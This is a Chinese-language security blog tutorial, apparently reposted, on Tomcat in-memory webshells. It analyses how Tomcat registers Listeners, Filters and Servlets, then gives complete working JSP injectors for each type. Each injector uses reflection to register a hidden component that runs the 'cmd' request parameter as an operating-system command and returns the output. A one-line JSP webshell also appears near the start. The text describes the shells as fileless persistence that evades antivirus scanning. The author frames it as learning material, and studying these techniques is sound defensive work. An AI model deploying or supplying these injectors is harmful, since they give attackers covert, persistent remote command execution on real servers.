Java安全-Tomcat内存马详解(新手友好)

2025-02-25 6 0

作为后来的学习者和探索者,我深知自己站在巨人的肩膀上。每一项技术的进步背后,都有无数前人的辛勤付出与深思熟虑。正是他们的努力,才为我提供了这片沃土,让我能够在这个基础上继续思考和前行。虽然这篇文章只能算作我在这个领域的一次小小尝试,但我更希望它能成为对前辈们探索精神的一种致敬,并为后续的师傅提供一些参考和启发。

环境:

  • tomcat 9.0.68
  • java8
  • idea

JSP木马

在普通的webshell攻击中,恶意代码通常存储在硬盘或外部设备上,以文件的形式存在(php、jsp),例如,以下是一个简单一句话木马。

<%
Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
System.out.println(process);
%>

在实战中,我们需要通过文件上传漏洞将webshell传到服务器。

传统的安全防护主要集中在文件系统层面,例如杀毒软件、文件监控、反病毒检测等,它们通过扫描硬盘上的恶意文件来发现和拦威胁,且传统的安全防护技术手段越来越成熟,导致现在的webshell容易被查杀

而Java内存马则不同,它将恶意代码直接加载到内存中运行。因为代码是直接在内存中执行的,它不需要保存到硬盘上,这使得它很难被传统的杀毒软件发现和检测。

传统web应用内存马(Tomcat内存马)

tomcat内存马主要有三个类型,Listener型、Filter型、Servlet,正好对应java web应用的三大组件,因此Tomcat内存马的实现原理是利用Java动态类加载和反射机制,动态注册恶意的Listener、Filter、Servlet或Valve等组件到Tomcat容器中,从而在内存中持久化恶意代码,实现隐蔽的攻击触发。

在正式开始学习内存马之前,建议了解一下Tomcat的架构

Tomcat架构

Apache Tomcat是由Apache软件基金会旗下的Jakarta项目开发的开源Servlet容器,实现了对Servlet和JavaServer Pages(JSP)的全面支持。由于其内含HTTP服务器功能,Tomcat既可以作为独立的Web服务器运行,也能与传统Web服务器配合使用,广泛应用于从中小型企业到大型企业级的Java Web应用开发中。

Java安全-Tomcat内存马详解(新手友好)插图

可以看到Tomcat Server大致可以分为三个组件,Service、Connector、Container

service

Service是 Tomcat 的一个主要组件,负责组织和管理 ConnectorContainer的工作。一个 Service可以包含多个 ConnectorContainer。它的作用是将所有相关的资源和功能组合在一起,确保 Tomcat 在处理请求时能够高效地协同工作。

Connector(连接器)

Connector负责接收来自客户端(如浏览器)的请求,并将这些请求传递给 Container进行处理。它处理网络协议(如 HTTP、HTTPS)和客户端与服务器之间的连接。

Container(容器)

Container是 Tomcat 的核心,负责实际处理 HTTP 请求的业务逻辑。包含四种子容器:EngineHostContextWrapper其中,一个Container对应一个Engine,一个Engine可以包含多个Host,一个Host可以包含多个Context,Context又包含多个Wrapper,各子容器的功能如下

Engine

EngineContainer中的最顶层组件,负责处理所有的请求。它是 Tomcat 中的请求分发器,能够协调和管理所有的 Host

Host(主机)

Host代表一个虚拟主机。一个 Host通常对应一个域名或一个 IP 地址,它处理和管理特定的 Web 应用程序(通常对应于一个或多个网站)。每个 Host可以包含多个 Context,每个 Context对应一个 Web 应用。

Context(上下文)

Context代表一个 Web 应用,是 Tomcat 中的一个应用级容器。一个 Context通常对应一个单独的 Web 应用,它可以包含多个 Servlet、JSP 文件、HTML 页面等内容。同一个Host里面不同的Context,其contextPath必须不同,默认Context的contextPath为空格(“”)或斜杠(/)

下面找一个Tomcat的文件目录对照一下,如下图所示:

Java安全-Tomcat内存马详解(新手友好)插图1

Context和Host的区别是Context表示一个应用,我们的Tomcat中默认的配置下webapps下的每一个文件夹目录都是一个Context,其中ROOT目录中存放着主应用,其他目录存放着子应用,而整个webapps就是一个Host站点。

Wrapper(封装器)

WrapperContainer中的一个组件,一个Container可以对应多个wrapper。它负责封装一个 Servlet。每个 Wrapper对应一个 Servlet,它管理该 Servlet 的生命周期(初始化、请求处理、销毁)。WrapperContext中的一个重要组成部分,它决定了 Servlet如何在 Tomcat 中被加载和执行。

可以用一张图来表示请求在Container中的解析过程

Java安全-Tomcat内存马详解(新手友好)插图2

当访问https://manage.xxx.com:8080/user/list时,Tomcat 会按照以下流程处理请求:

  1. 请求接收:客户端通过 HTTPS 协议向 Tomcat 的 8080 端口发送请求。

  2. Connector 处理:Tomcat 的Connector组件接收请求,并将其转换为内部的Request对象。

  3. Engine 路由:Engine组件根据请求的主机名(manage.xxx.com)确定目标Host

  4. Host 路由:Host组件根据请求的路径(/user/list)确定目标Context

  5. Context 路由:Context组件根据请求的路径确定目标Wrapper

  6. Wrapper 调用 Servlet:Wrapper调用其封装的Servletservice()方法,处理请求并生成响应。

  7. 响应返回:生成的响应通过上述层次返回给客户端。

了解了Tomcat容器之后,我们正式发车,开启内存马的学习之旅。

Listener型

Listener是最先被加载的,根据前面内存马的实现思路,只要动态注册一个恶意的Listener,就又可以形成一种内存马了。在tomcat中Listener分为ServletContextListenerHttpSessionListenerServletRequestListener,很明显ServletRequestListener是最适合做内存马的,因为访问任何服务就能触发操作。

编写一个简单的ServletRequestListener

package com.example.listenshell;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

@WebListener
public class Shell_Listener implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd"); // 从请求参数中获取命令
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd); // 执行命令
} catch (IOException e) {
e.printStackTrace(); // 打印异常信息
}
}
}

@Override
public void requestDestroyed(ServletRequestEvent sre) {
// 这里可以添加请求销毁时的逻辑(如果需要)
}
}

运行结果:

Java安全-Tomcat内存马详解(新手友好)插图3

从代码层面分析Listener的创建流程

先来看一下调用栈

Java安全-Tomcat内存马详解(新手友好)插图4

查看StandardContext类的fireRequestInitEvent方法,可见fireRequestInitEvent()调用了我们Listener的requestInitialized()方法

public boolean fireRequestInitEvent(ServletRequest request) {

Object instances[] = getApplicationEventListeners();

if ((instances != null) && (instances.length > 0)) {

ServletRequestEvent event =
new ServletRequestEvent(getServletContext(), request);

for (int i = 0; i < instances.length; i++) {
if (instances[i] == null)
continue;
if (!(instances[i] instanceof ServletRequestListener))
continue;
ServletRequestListener listener =
(ServletRequestListener) instances[i];

try {
listener.requestInitialized(event);
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
getLogger().error(sm.getString(
"standardContext.requestListener.requestInit",
instances[i].getClass().getName()), t);
request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);
return false;
}
}
}
return true;
}

Java安全-Tomcat内存马详解(新手友好)插图5

我们往前跟,看下listener是从哪里来的。直接右键查看声明或用例,在前两行找到了listener的实现,来自于instances[i],在旁边也显示出listener就是我们创建的Shell_Listener,那就说明至少在这一步或者前一步我们的listener已经被创建了。

Java安全-Tomcat内存马详解(新手友好)插图6

我们继续往前跟,查看instances[i]是怎么产生的。最终定位到这里,显示listener已经存在。

Java安全-Tomcat内存马详解(新手友好)插图7

继续跟进getApplicationEventListeners()

Java安全-Tomcat内存马详解(新手友好)插图8

经过询问AI,这段代码的作用是将存储在applicationEventListenersList集合中的所有事件监听器对象转换为数组,并返回给调用者。那么,意思就是Listener实际上是存储在applicationEventListenersList属性中。

所以我们的下一步就要找到Litener是如何被添加到applicationEventListenersList中的,这里我们直接查找用法,不出意外找到了五处applicationEventListenersList被应用的地方。

Java安全-Tomcat内存马详解(新手友好)插图9

根据字面意思,addApplicationEventListener()是最有可能监听器被添加的地方。不出所料。

Java安全-Tomcat内存马详解(新手友好)插图10

编写Listener内存马

根据我们在上面的内容,我们可以得出以下结论:

如果我们想要写一个Listener内存马,需要经过以下步骤:

  • 继承并编写一个恶意Listener

  • 获取StandardContext上下文

  • 调用StandardContext.addApplicationEventListener()添加恶意Listener

创建shell.jsp,并写出以下的内存马:

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%!
public class Shell_Listener implements ServletRequestListener {

public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}

public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
Shell_Listener shellListener = new Shell_Listener();
context.addApplicationEventListener(shellListener);
out.println("Inject Listener Memory Shell successfully!");
%>

访问shell.jsp

Java安全-Tomcat内存马详解(新手友好)插图11

此刻我们的内存马创建成功,访问任意路由即可触发

Java安全-Tomcat内存马详解(新手友好)插图12

Filter内存马

编写一个简单的Filter

package com.example.filtershell;

import javax.servlet.*;
import java.io.IOException;

import static java.lang.System.out;

public class Test_Filter implements javax.servlet.Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter initialized");
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
System.out.println("Filter processing request");
chain.doFilter(request, response);
}

@Override
public void destroy() {
out.println("Filter destroyed");
}
}

web.xml配置

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
version="3.1">
<filter>
<filter-name>test</filter-name>
<filter-class>com.example.filtershell.Test</filter-class>
</filter>
<filter-mapping>
<filter-name>test</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

</web-app>

当我们访问任何路由的时候,控制台继续输出Filter processing request,当我们结束tomcat的时候,会触发destroy方法,从而输出Filter destroyed

从代码层面分析filter的创建流程

我们在过滤器进行过滤的地方,也就是doFilter()那里打上断点,观察调用栈。

Java安全-Tomcat内存马详解(新手友好)插图13

我们从上往下跟进,先进入ApplicationFilterChain#internalDoFilter。

Java安全-Tomcat内存马详解(新手友好)插图14

在internalDoFilter函数中通过filter调用了doFilter,而filter是通过filterConfig.getFilter()得到。

Java安全-Tomcat内存马详解(新手友好)插图15

我们注意到filterConfig是ApplicationFilterConfig对象。来自于ApplicationFilterConfig类,那么大概率在前面new了一个ApplicationFilterConfig对象,于是全局搜索关键词new ApplicationFilterConfig,果然如此。

Java安全-Tomcat内存马详解(新手友好)插图16

继续往下跟进调用栈,在ApplicationFilterChain#doFilter调用了ApplicationFilterChain#internalDoFilter

那么接下来再通过调用栈分析谁调用了ApplicationFilterChain#doFilter,于是来到StandardContextValve类,通过filterChain调用了ApplicationFilterChain#doFilter

Java安全-Tomcat内存马详解(新手友好)插图17

而filterChain来自于ApplicationFilterFactory#createFilterChain

Java安全-Tomcat内存马详解(新手友好)插图18

我们跟进

public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
if (servlet == null) {
return null;
} else {
ApplicationFilterChain filterChain = null;
if (request instanceof Request) {
Request req = (Request)request;
if (Globals.IS_SECURITY_ENABLED) {
filterChain = new ApplicationFilterChain();
} else {
filterChain = (ApplicationFilterChain)req.getFilterChain();
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
filterChain = new ApplicationFilterChain();
}

filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
StandardContext context = (StandardContext)wrapper.getParent();
FilterMap[] filterMaps = context.findFilterMaps();
if (filterMaps != null && filterMaps.length != 0) {
DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");
String requestPath = null;
Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");
if (attribute != null) {
requestPath = attribute.toString();
}

String servletName = wrapper.getName();
FilterMap[] var10 = filterMaps;
int var11 = filterMaps.length;

int var12;
FilterMap filterMap;
ApplicationFilterConfig filterConfig;
for(var12 = 0; var12 < var11; ++var12) {
filterMap = var10[var12];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
filterChain.addFilter(filterConfig);
}
}
}

var10 = filterMaps;
var11 = filterMaps.length;

for(var12 = 0; var12 < var11; ++var12) {
filterMap = var10[var12];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersServlet(filterMap, servletName)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
filterChain.addFilter(filterConfig);
}
}
}

return filterChain;
} else {
return filterChain;
}
}
}

从createFilterChain函数中,我们能够清晰地看到filterChain对象的创建过程

  1. 创建空的过滤器链filterChain = new ApplicationFilterChain()→ 初始化一个空的过滤器链容器。

  2. 获取上下文对象StandardContext context = (StandardContext) wrapper.getParent()→ 通过Wrapper获取其父容器StandardContext(管理当前Web应用的配置)。

  3. 提取过滤器映射规则FilterMap[] filterMaps = context.findFilterMaps()→ 从StandardContext中获取所有过滤器的映射规则(URL路径、Servlet名称等)。

  4. 匹配并获取过滤器配置

    // 遍历FilterMap,通过名称查找对应的FilterConfig
    ApplicationFilterConfig filterConfig =
    (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());

    → 根据FilterMap中的名称,从StandardContext中获取具体的过滤器配置。

  5. 将过滤器加入链中filterChain.addFilter(filterConfig)→ 将匹配的过滤器按顺序添加到链中,最终形成完整的执行链。

void addFilter(ApplicationFilterConfig filterConfig) {

// Prevent the same filter being added multiple times
for(ApplicationFilterConfig filter:filters)
if(filter==filterConfig)
return;

if (n == filters.length) {
ApplicationFilterConfig[] newFilters =
new ApplicationFilterConfig[n + INCREMENT];
System.arraycopy(filters, 0, newFilters, 0, n);
filters = newFilters;
}
filters[n++] = filterConfig;

}

如图示:

Java安全-Tomcat内存马详解(新手友好)插图19

Java安全-Tomcat内存马详解(新手友好)插图20

到这里,filter的创建流程我们就梳理完了。所以,我们的核心就是创建一个恶意的Filter添加到FilterConfig中。

Filter容器与FilterDefs、FilterConfigs、FilterMaps

FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息

FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息

FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter

跟进ApplicationFilterFactory#createFilterChain的执行流程流程,上下文(StandardContext)包含了FilterDefs、FilterConfigs、FilterMaps。

Java安全-Tomcat内存马详解(新手友好)插图21

FilterMaps

Java安全-Tomcat内存马详解(新手友好)插图22

以array形式存放着过滤器名字和映射路径

FilterConfigs

Java安全-Tomcat内存马详解(新手友好)插图23

在 FilterConfig 中主要存放 FilterDef 和 Filter对象

FilterDefs

以键值对的形式存储filterDef

Java安全-Tomcat内存马详解(新手友好)插图24

编写内存马

根据我们在上面的分析,我们可以得出以下结论:

如果我们想要写一个Filter内存马,需要经过以下步骤:

  • 获取StandardContext

  • 编写一个恶意filter

  • 实例化一个FilterDef类,包装filter并存放到StandardContext.filterDefs中;

  • 实例化一个FilterMap类,并将路径和Filtername绑定,添加到filterMaps中;

  • 使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中

获取StandardContext
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
创建恶意filter
public class FilterMemshell implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException { }

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletResponse.setContentType("text/html;charset=UTF-8");
String cmd = servletRequest.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
InputStream input = p.getInputStream();
InputStreamReader ins = new InputStreamReader(input, "GBK");
BufferedReader br = new BufferedReader(ins);
servletResponse.getWriter().write("<pre>");
String line;
while ((line = br.readLine()) != null) {
servletResponse.getWriter().write(line);
}
servletResponse.getWriter().write("</pre>");
br.close();
ins.close();
input.close();
p.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() { }
}
创建filterdef,并添加到上下文中
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilter(filterMemshell);
filterDef.setFilterClass(filterMemshell.getClass().getName());
standardContext.addFilterDef(filterDef);
创建 filtermap,并添加到上下文中
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(name);
filterMap.addURLPattern("/*");
封装filterConfig及filterDef到filterConfigs
Constructor<ApplicationFilterConfig> declaredConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
declaredConstructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = declaredConstructor.newInstance(standardContext, filterDef);
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put(name, applicationFilterConfig);
response.getWriter().println("inj success");
完整poc
<%@ page import="java.io.*, java.lang.reflect.*, java.util.*, javax.servlet.*, javax.servlet.Filter, javax.servlet.FilterConfig, javax.servlet.FilterChain, javax.servlet.ServletRequest, javax.servlet.ServletResponse, javax.servlet.ServletException" %>
<%@ page import="org.apache.catalina.core.ApplicationContext, org.apache.catalina.core.StandardContext, org.apache.tomcat.util.descriptor.web.FilterDef, org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig, org.apache.catalina.Context" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
public class Shell_Filter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException { }

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
response.setContentType("text/html;charset=UTF-8");
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
InputStream inputStream = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, "UTF-8"));
StringBuilder output = new StringBuilder("<pre>");
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
output.append("</pre>");
response.getWriter().write(output.toString());
reader.close();
return;
}
chain.doFilter(request, response);
}

@Override
public void destroy() { }
}
%>

<%
try {
// 获取 StandardContext
ServletContext servletContext = request.getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);

Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

// 定义 Filter
Shell_Filter filter = new Shell_Filter();
String filterName = "CommonFilter";

// 创建 FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

// 创建 FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
standardContext.addFilterMap(filterMap);

// 通过反射获取 filterConfigs 并添加新 filter
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);

// 反射创建 ApplicationFilterConfig

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

filterConfigs.put(filterName, filterConfig);
response.getWriter().println("Injection successful!");

} catch (Exception e) {
e.printStackTrace(response.getWriter());
}
%>

先访问jsp文件

Java安全-Tomcat内存马详解(新手友好)插图25

再访问任意路由执行命令

Java安全-Tomcat内存马详解(新手友好)插图26

Servlet型内存马

编写一个简单的Servlet

package com.example.Servletshell;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class Myservlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().println("myservlet");
}
}

web.xml配置

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>Myservlet</servlet-name>
<servlet-class>com.example.Servletshell.Myservlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Myservlet</servlet-name>
<url-pattern>/my</url-pattern>
</servlet-mapping>

</web-app>

访问/my

Java安全-Tomcat内存马详解(新手友好)插图27

servlet初始化流程分析

先看调用栈

Java安全-Tomcat内存马详解(新手友好)插图28

我们知道wrapper负责封装Servlet,因此我们从Wrapper的创建开始来探究Servlet的初始化流程。于是我们来到ContextConfig#configureContext

Java安全-Tomcat内存马详解(新手友好)插图29

接下来我们看ContextConfig#configureContext中的这段代码:

for (ServletDef servlet : webxml.getServlets().values()) {
Wrapper wrapper = context.createWrapper();
//控制 Servlet 在 Web 应用启动时是否提前加载,以及确定加载的顺序
if (servlet.getLoadOnStartup() != null) {
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());
}
//设置ServletName属性
wrapper.setName(servlet.getServletName());
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}
//设置ServletClass属性
wrapper.setServletClass(servlet.getServletClass());
MultipartDef multipartdef = servlet.getMultipartDef();
if (multipartdef != null) {
long maxFileSize = -1;
long maxRequestSize = -1;
int fileSizeThreshold = 0;

if(null != multipartdef.getMaxFileSize()) {
maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
}
if(null != multipartdef.getMaxRequestSize()) {
maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
}
if(null != multipartdef.getFileSizeThreshold()) {
fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
}

wrapper.setMultipartConfigElement(new MultipartConfigElement(
multipartdef.getLocation(),
maxFileSize,
maxRequestSize,
fileSizeThreshold));
}
if (servlet.getAsyncSupported() != null) {
wrapper.setAsyncSupported(
servlet.getAsyncSupported().booleanValue());
}
wrapper.setOverridable(servlet.isOverridable());
//将包装好的StandWrapper添加进ContainerBase的children属性中
context.addChild(wrapper);
}
//添加路径映射
for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}

解析 web.xml 文件中的 servlet 配置,将 servlet 及其属性(启动顺序、类名、参数等)注册到 Web 容器的context中,并设置 URL 映射。

也就是说,Servlet的初始化主要经历以下六个步骤:

  • 创建Wapper对象;

  • 设置ServletLoadOnStartUp的值;

  • 设置Servlet的名称;

  • 设置Servletclass

  • 将配置好的Wrapper添加到Context中;

  • urlservlet类做映射

Java安全-Tomcat内存马详解(新手友好)插图30

接着我们查找谁调用了ContextConfig#configureContext

Java安全-Tomcat内存马详解(新手友好)插图31

点进去ContextConfig#webConfig

我们发现ContextConfig#webConfig()方法解析web.xml获取各种配置参数

Java安全-Tomcat内存马详解(新手友好)插图32

接着我们跟着调用栈,从上往下跟到StandardContext#startInternal,通过findChildren()获取StandardWrapper类

Java安全-Tomcat内存马详解(新手友好)插图33

然后加载完listener、filter,通过loadOnStartUp()方法加载wrapper

Java安全-Tomcat内存马详解(新手友好)插图34

跟进loadOnStartup,代码如下

public boolean loadOnStartup(Container children[]) {
TreeMap<Integer,ArrayList<Wrapper>> map = new TreeMap<>();
for (Container child : children) {
Wrapper wrapper = (Wrapper) child;
int loadOnStartup = wrapper.getLoadOnStartup();
if (loadOnStartup < 0) {
continue;
}
Integer key = Integer.valueOf(loadOnStartup);
map.computeIfAbsent(key, k -> new ArrayList<>()).add(wrapper);
}
for (ArrayList<Wrapper> list : map.values()) {
for (Wrapper wrapper : list) {
try {
wrapper.load();
} catch (ServletException e) {
getLogger().error(
sm.getString("standardContext.loadOnStartup.loadException", getName(), wrapper.getName()),
StandardWrapper.getRootCause(e));
if (getComputedFailCtxIfServletStartFails()) {
return false;
}
}
}
}
return true;
}

编写poc

根据我们上面的分析可以得出以下结论:

如果我们想要写一个Servlet内存马,需要经过以下步骤:

  • 寻找StandardContext

  • 继承并编写一个恶意servlet

  • 创建Wapper对象

  • 设置ServletLoadOnStartUp的值

  • 设置ServletName

  • 设置Servlet对应的Class

  • Servlet添加到contextchildren

  • url路径和servlet类做映射

完整poc:

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%!
public class Memshell extends HttpServlet {
@Override
public void init() throws ServletException {

}

public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html;charset=UTF-8");
String cmd = request.getParameter("cmd");
if(cmd != null){
Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
InputStream input = p.getInputStream();
InputStreamReader ins = new InputStreamReader(input, "GBK");
BufferedReader br = new BufferedReader(ins);
response.getWriter().write("<pre>");
String line;
while((line = br.readLine()) != null) {
response.getWriter().write(line);
}
response.getWriter().write("</pre>");
br.close();
ins.close();
input.close();
p.getOutputStream().close();
}
}

@Override
public void destroy() {

}
}


%>
<%
//System.out.println(request.getServletContext());
Memshell memshell = new Memshell();
ServletContext servletContext = request.getServletContext();
Field contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)contextField.get(servletContext);
Field applicationContextField = applicationContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
StandardContext standardContext = (StandardContext)applicationContextField.get(applicationContext);
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("memshell");
wrapper.setServletClass(memshell.getClass().getName());
wrapper.setServlet(memshell);
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell", "memshell");


%>
</body>
</html>

访问memshell.jsp文件

访问对应路径进行命令执行

Java安全-Tomcat内存马详解(新手友好)插图35

后记

写这篇关于传统Web应用内存马(Tomcat内存马)的文章时,我深刻感受到自己在安全技术领域仍有许多不足之处。尽管我通过学习和实践积累了一些经验,但在分析和理解这一领域复杂性时,依然存在许多盲点和不足。每次思考和写作时,我都能感受到自己的技术水平还不够成熟,很多细节和安全策略需要进一步完善。

这篇文章的完成,也让我更加意识到,网络安全是一个永无止境的学习过程。随着技术的不断发展和攻击手段的不断演进,我们必须时刻保持谦虚,保持对新技术的敏感,并不断提升自己的能力。在未来的工作中,我会继续深入探索和研究,努力弥补现有的不足,提升自己的技术水平,以便更好地应对日益复杂的网络安全挑战。

希望这篇文章能够为读者提供一些参考,也希望能得到更多来自朋友的指导和建议,共同进步。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

数据分类分级之后这么做,让皇帝新衣的故事不再上演
深剖 MacOS 高危TCC绕过漏洞,全面解析 AMFI
Sliver C2框架漏洞解析:攻击者可建立TCP连接窃取数据流量
2025年十大最佳勒索软件防护工具
一键日卫星 (fastjson、shiro、nacos、jboss、struts2、tp、若依、通达、用友、禅道等漏洞挖掘工具)
EDUSRC证书站–上海某985大学

发布评论